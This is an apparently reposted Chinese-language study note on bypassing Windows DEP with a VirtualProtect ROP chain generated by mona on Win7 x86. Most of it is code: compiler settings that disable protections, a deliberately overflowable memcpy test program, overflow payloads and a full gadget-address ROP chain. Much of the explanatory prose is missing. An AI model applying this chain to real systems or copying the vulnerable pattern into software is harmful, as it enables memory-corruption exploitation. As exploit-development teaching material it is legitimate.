本文讲的是
Windows Shellcode学习笔记——通过VirtualProtect绕过DEP,
0x00 前言
VS2012的编译配置 利用Immunity Debugger的mona插件自动获取ROP链 对ROP链的分析调试 调用VirtualProtect函数时的Bug及修复
Optin Optout AlwaysOn AlwaysOff
BOOL VirtualProtect{ LPVOID lpAddress, DWORD dwsize, DWORD flNewProtect, PDWORD lpflOldProtect }
测试系统: Win 7 x86 编译器: VS2012 build版本: Release
关闭GS 关闭优化 关闭SEH 关闭DEP 关闭ASLR 禁用c++异常 禁用内部函数
安全检查 否(/GS-) 启用c++异常 否 启用内部函数 否 优化 已禁用(/Od)
数据执行保护(DEP) 否(/NXCOMPAT:NO) 随机基址 否(/DYNAMICBASE:NO) 映像具有安全异常处理程序 否(/SAFESEH:NO)
char shellcode[]= "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x42x43x44x45"; void test() { char buffer[48]; memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1n"); test(); return 0; }
PUSH 1 POP ECX
PUSH 1 POP ECX
char shellcode[]= "x6Ax01x59x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x20x30x40x00"; void test() { char buffer[48]; memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1n"); test(); return 0; }
!mona rop -m *.dll -cp nonull
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x77217edd, // POP EAX // RETN [kernel32.dll] 0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll] 0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x779cdd30, // POP EBP // RETN [ntdll.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0xfffffdff, // Value to negate, will become 0x00000201 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x6935a7c0, // POP ECX // RETN [MSVCR110.dll] 0x693be00d, // &Writable location [MSVCR110.dll] 0x779a4b9a, // POP EDI // RETN [ntdll.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693417cb, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX // NOP 0x90909090, 0x90909090, 0x90909090, 0x90909090 }; void test() { char buffer[48]; printf("3n"); memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1n"); test(); return 0; }
int main() { printf("1n"); test(); char Buf[] = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"; return 0; }
int main() { void *p=malloc(16); printf("0x%08xn",p); DWORD pflOldProtect; int x=VirtualProtect(p,4,0x40,&pflOldProtect); printf("%dn",x); return 0; }
原文发布时间为:2017年3月24日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。